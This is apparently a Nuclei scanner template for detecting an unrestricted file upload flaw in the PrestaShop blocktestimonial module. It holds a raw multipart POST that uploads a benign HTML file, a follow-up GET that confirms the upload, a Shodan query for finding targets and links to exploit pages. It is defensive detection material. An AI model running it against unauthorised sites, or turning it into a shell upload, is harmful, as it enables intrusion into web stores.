id: prestashop-blocktestimonial-file-upload

info:
  name: Prestashop Blocktestimonial Modules - File Upload Vulnerability
  author: MaStErChO
  severity: critical
  reference:
    - https://3xploit7.blogspot.com/2016/12/pretashop-blocktestimonial-upload-shell.html
    - https://github.com/indoxploit-coders/blocktestimonial-file-upload
    - https://exploit.linuxsec.org/prestashop-module-blocktestimonial-file-upload-auto-exploit
  classification:
    cwe-id: CWE-434
  metadata:
    max-request: 2
    framework: prestashop
    shodan-query: "http.component:\"prestashop\""
    product: ap_pagebuilder
    vendor: apollotheme
  tags: intrusive,file-upload,blocktestimonial,prestashop,vuln
variables:
  filename: '{{rand_base(7, "abc")}}'
  data: '{{rand_base(6, "abc")}}'

http:
  - raw:
      - |
        POST /modules/blocktestimonial/addtestimonial.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLSo7Btb6nGcpR9Cl

        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
        Content-Disposition: form-data; name="testimonial_submitter_name"

        {{data}}
        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
        Content-Disposition: form-data; name="testimonial_title"

        {{data}}
        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
        Content-Disposition: form-data; name="testimonial_main_message"

        {{data}}
        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
        Content-Disposition: form-data; name="testimonial_img"; filename="{{filename}}.html"
        Content-Type: text/html

        <html>
        <body>
        <h1>{{data}}</h1>
        </body>
        </html>

        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
        Content-Disposition: form-data; name="testimonial"

        Submit Testimonial
        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl--

      - |
        GET /upload/{{filename}}.html HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "Your testimonial was submitted successfully."

      - type: word
        part: body_2
        words:
          - "{{data}}"
# digest: 490a0046304402201723102f369056843fe0785ff7f967fdda759a217f3e8b0efac48ddd814446b702205024b865c3feaca9980b9116bc04a03175fb977f1e623599172ef07d3f64f8d3:922c64590222798bb761d5b6d8e72950